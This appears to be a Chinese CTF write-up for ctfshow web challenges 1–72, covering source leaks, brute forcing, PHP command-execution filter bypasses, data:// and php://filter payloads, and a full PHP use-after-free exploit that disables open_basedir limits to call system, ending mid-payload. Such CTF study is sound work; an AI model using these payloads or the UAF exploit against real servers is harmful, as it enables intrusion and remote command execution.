一些关于做ctfshow写下来的wp
Web1
特别简单的,没什么好说的,F12就有flag了。
Web2
从别的地方进到F12就行了
Web3
抓包就行
Web4 1 总有人把后台地址写入robots,帮黑阔大佬们引路。
Web5
Web6
www.zip
Web7
.git泄露
Web8
.svn泄露
Web9 1 发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
index.php.swp
Web10 1 cookie 只是一块饼干,不能存放任何隐私数据
Web11 域名txt记录
Web12
简单的账号密码
Web13 1 技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
隐藏的可点击
Web14 1 有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
找到文件位置
Web15 1 公开的信息比如邮箱,可能造成信息泄露,产生严重后果
社工找qq所在地
Web16 1 对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
php探针,用于自己搭建服务器时候的探测
1 考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,然后查看phpinfo搜索flag
Web17
扫目录找数据库文件即可
Web18 1 不要着急,休息,休息一会儿,玩101分给你flag
JS文件源代码查看
Web19
直接F12看源码
Web20 1 mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
扫目录找数据库文件
Web21
就正常的爆破,需要注意的是这个
Web22 1 域名也可以爆破的,试试爆破这个ctf.show的子域名
子域名爆破即可
Web23
简单的php中的md5爆破
Web24
随机数爆破,种子都给了,直接自己本地运行一下即可
Web25
偏难,使用php_mt_seed去破解得到seed从而得到flag最后。
Web26
暴力破解,不过全空这题也能有flag
Web27
直接身份证日期爆破
Web28
直接爆破即可
Web29
直接*,或者
Web30
用上面的echo还是可以的或者
Web31 还是可以使用post或者
Web32 1 c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
1 2 3 eval("echo 1;"); eval("echo 1?>"); 分号可以由?>代替
Web33 把上题的url参数换成一个数字就可以了
1 c=$nice=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web34 同上即可
Web35 同上即可
Web36 同上即可,0改成a就行
Web37 1 ?c=data://text/plain,<?php system("cat fla*")?>
1 data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web38 base64编码即可
1 data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web39 1 ?c=data://text/plain,<?php system("cat fla*")?>
已经将php语句闭合了,后面加.php没有任何用
Web40 1 2 3 4 5 6 localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。 array_reverse():数组逆序 scandir():获取目录下的文件 next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。
1 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
直接就获得到了flag,无参数命令执行。
Web41 这题就比较复杂了,我们需要去找到能够通过或操作获得相应的字符
php版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
py版:
1 2 3 4 5 6 7 8 9 10 11 12 13 import recontent = '' preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/' for i in range (256 ): for j in range (256 ): if not (re.match (preg,chr (i),re.I) or re.match (preg,chr (j),re.I)): k = i | j if k>=32 and k<=126 : a = '%' + hex (i)[2 :].zfill(2 ) b = '%' + hex (j)[2 :].zfill(2 ) content += (chr (k) + ' ' + a + ' ' + b + '\n' ) f = open ('rce_or.txt' , 'w' ) f.write(content)
然后手动或者python自动去拼接都行
Web42 无回显
直接管道符或者换行绕过
要让命令回显,可以进行命令分隔,以此来绕过:
1 2 3 4 5 6 ; 分号 | 只执行后面那条命令 || 只执行前面那条命令 & 两条命令都会执行 && 两条命令都会执行 %0a 换行
在命令后面加上即可
Web43 很简单,过滤了cat用tac就行nl也行
Web44 过滤了flag,很简单的*绕过就行了
Web45 过滤了空格,用${IFS}就行
linux适用空格绕过:
1 <、<>、%20(space)、%09(tab)、$IFS$9 、${IFS} 、$IFS 、{cat ,/etc/passwd}、%0a(回车)
Web46 过滤了*
法一,符号绕过。
法二,通配符 “ ? ”。
Web47 过滤了一堆没用的,和上题一样写就行
Web48 还是过滤了一堆没用的
Web49 还是和之前的一样
Web50 过滤了%09换别的就行,还是一样的
Web51 还是一样的
Web52 过滤了大于小于还是差不多的,用${IFS}就行
还有就是注意的是flag没有php后缀了
Web53
这样就可以了
Web54 没有过滤?,可以使用这个绕过
1 c=/bin/?at${IFS}f???.php
或者
Web55 又是一个比较离谱的题目
有三种方法去写
第一种就是用base64去读源文件
1 2 /bin/base64 flag.php /???/????64 ????.???
第二种就是对文件进行压缩从而去下载
1 2 /usr/bin/bzip2 flag,php /???/???/????2 ????.???
第三种就是最难的了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传--> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
构造一个post去传文件,会传到临时目录中,再用.去执行
1 2 3 4 5 6 7 8 在 burp 拦截中,通过 GET 方式传递: ?c=.+/???/????????[@-[] phpKKKK 并在上传文件内容添加sh命令: #!/bin/sh pwd
Web56 1 2 3 Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。 Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。 ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。
使用上题的第三种方法即可
Web57 过滤了.,所以无法使用上面用到的方法
我们只需要凑出一个36即可
1 2 3 4 5 6 $()和 ` ` 在 bash shell 中,$( ) 与` ` (反引号) 都可用做命令替换用。 例如 version=$(uname -r)和version=`uname -r`都可以是version得到内核的版本号
1 2 3 4 5 6 7 Linux Shell 中 $(()) 的用法。 https://blog.csdn.net/u013402321/article/details/80333272 简单来说,$(()) 用来做数学运算。且 $(()) 的值为 0。 ~ 在 $(()) 中代表按位取反,即 $((~$(()))) 就是 0 取反,即 -1。 $(($((~$(())))$((~$(()))))) 也就是 $((-1-1)) 为 -2。
1 2 3 ${_} ="" //返回上一次命令 $((${_}))=0 $((~$((${_}))))=-1
Web58 system被禁掉了,所以换用别的
解法1:
1 2 3 4 5 c=show_source('flag.php'); 或 c=highlight_file("flag.php"); 或 c=file_get_contents('falg.php');
解法2
1 c=include "php://filter/read=convert.base64-encode/resource=flag.php";
Web59 和上面一题是一样的
Web60 还是和上面的一样的
Web61 还是一样的
Web62 还是一样的
Web63 还是一样的
Web64 还是一样的
Web65 还是一样的
Web66 这题就是新的了,将上面的函数都禁了。
而且通过highlight_file得知文件名改变了,我们就先用print_r(scandir(‘/‘));查看根目录文件,再用highlight去读取即可
Web67 和上题一样的
题目就不贴了。和前几题一模一样的。
区别在于,print_r()
函数被禁了。
那就用 var_dump()
函数。
1 c=var_dump(scandir('/' ));
Web68 直接文件包含即可
Web69 这题var_dump被禁了,我们就使用var_export
1 var_export:输出或返回变量的可解析字符串表示。
Web70 和上题一模一样的
Web71 这题给了源码就可以发现把所有的输出都换成了问号,但是,由于是命令执行,我们就可以加一个exit(0);在后边,从而跳过后边的替换。
1 c=include('/flag.txt');exit(0);
Web72 1 2 也就是说,本题设置了 open_basedir(),将php所能打开的文件限制在指定的[目录树](https://so.csdn.net/so/search?q=目录树&spm=1001.2101.3001.7020)中,包括文件本身。 因为 ini_set() 也被限制了,所以 open_basedir() 不能用 ini_set() 重新设置绕过。
1 2 不能访问/,访问路径被限制了,只能允许访问的是/var/www/html/。 也就是说,本题设置了open_basedir,将php所能打开的文件限制在指定的目录树中,包括文件本身。因为ini_set()也被限制了,所以open_basedir不能用ini_set重新设置绕过。
1 2 3 4 5 6 7 8 9 <?php $a =new DirectoryIterator ("glob:///*" ); foreach ($a as $f ) {echo ($f ->__toString ().' ' ); } exit (0 ); ?>
我们这样也就可以去读取到相应的目录了
后面是真的好难
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <?php function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flag0.txt" );ob_end_flush ();?>
1 2 payload: c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x6